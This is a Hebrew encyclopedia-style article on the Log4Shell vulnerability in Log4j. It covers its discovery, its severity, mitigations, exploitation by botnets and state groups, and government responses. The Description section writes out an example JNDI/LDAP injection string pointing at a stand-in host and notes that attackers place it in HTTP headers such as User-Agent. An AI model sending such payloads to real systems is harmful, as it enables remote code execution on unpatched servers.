Log4Shell

**Log4Shell** (קוד: **CVE-2021-44228**) הוא השם שניתן לחולשה בספרייה Log4j, ספריית לוגים פופולרית של Java, המאפשרת הרצת קוד שרירותי (Remote Code Execution). פגיעה זו, שלא הבחינו בקיומה מאז 2013 - נחשפה באופן פרטי לקרן התוכנה אפאצ'י, ש-Log4j הוא פרויקט שלה, על ידי צוות האבטחה בענן של קבוצת עליבאבא ב-24 בנובמבר 2021, ונחשפה בפומבי ב-9 בדצמבר 2021.

קרן Apache העניקה ל-Log4Shell דירוג חומרת CVSS של 10, הגבוה ביותר האפשרי. ההערכה היא שהפגיעות משפיעה על מאות מיליוני מכשירים.

החולשה מנצלת את היכולת של Log4j המאפשרת בקשות לשרתי LDAP ו-JNDI שרירותיים, מבלי לבדוק את התגובות. בקשות אלו מאפשרות לתוקפים להריץ קוד Java שרירותי בשרת או במחשב אחר, או להדליף מידע רגיש.

שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache. השירותים המסחריים המושפעים כוללים את AWS, Cloudflare, iCloud, *[[מיינקראפט|Minecraft: Java Edition]]*, סטים Tencent QQ ועוד רבים אחרים.

Log4Shell היא אחת מהחולשות החמורות ביותר שהתגלו מעולם. חברת LunaSec אפיינה את הפגיעות כ"כשל עיצובי בעל פרופורציות קטסטרופליות", חברת Tenable אמרה כי החולשה הייתה "הפגיעות הגדולה והקריטית ביותר אי פעם", ו- *Ars Technica* כינתה זאת "ללא ספק הפגיעה החמורה ביותר אי פעם".

## רקע

Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם. נתונים אלה יכולים לכלול קלט משתמש. הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות.

הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י. חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב".

## תיאור
ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם. JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים. בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט.

בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה  `{prefix:name}$` בתוך ההודעה הנכתבת. חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה`{<jndi:<lookup}$`; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java. כך לדוגמה, ניסיון הדפסה של המחרוזת `{jndi:ldap://example.com/file}$`, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני.

משום שבקשות HTTP נכתבות פעמים רבות ללוג, וקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent.

## מניעה
התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j. התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים. לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל. באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups).

עבור גרסאות קודמות, מומלץ להסיר את המחלקה `org.apache.logging.log4j.core.lookup.JndiLookup` ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות. בנוסף, ניתן לשנות את ה-system property בשם `log4j2.formatMsgNoLookups` ל- `true`, אך שינוי זה אינו מונע ניצול של CVE-2021-45046.

גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים. פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java.

## ניצול
החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java. ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר. בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של מעל 40% מהרשתות העסקיות בעולם שהותקפו.

לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי. בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים. כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig. כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט.

## תגובה והשפעה
### ממשלות
בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה.

המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית. סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע".

המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם). הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול. מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים.

### עסקים
חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים. UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר.
כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר.

## ראו גם
* הזרקת SQL

## קישורים חיצוניים
* מאמר טכני מקיף על חולשת Log4Shell במגזין הישראלי DigitalWhisper
* Log4j website
* NCSC overview of Log4Shell on GitHub
* Common Vulnerabilities and Exposures page
* National Vulnerabilities Database page
* Projects affected by cve-2021-44228, by Apache Security Team

## הערות שוליים

קטגוריה:פרצות אבטחה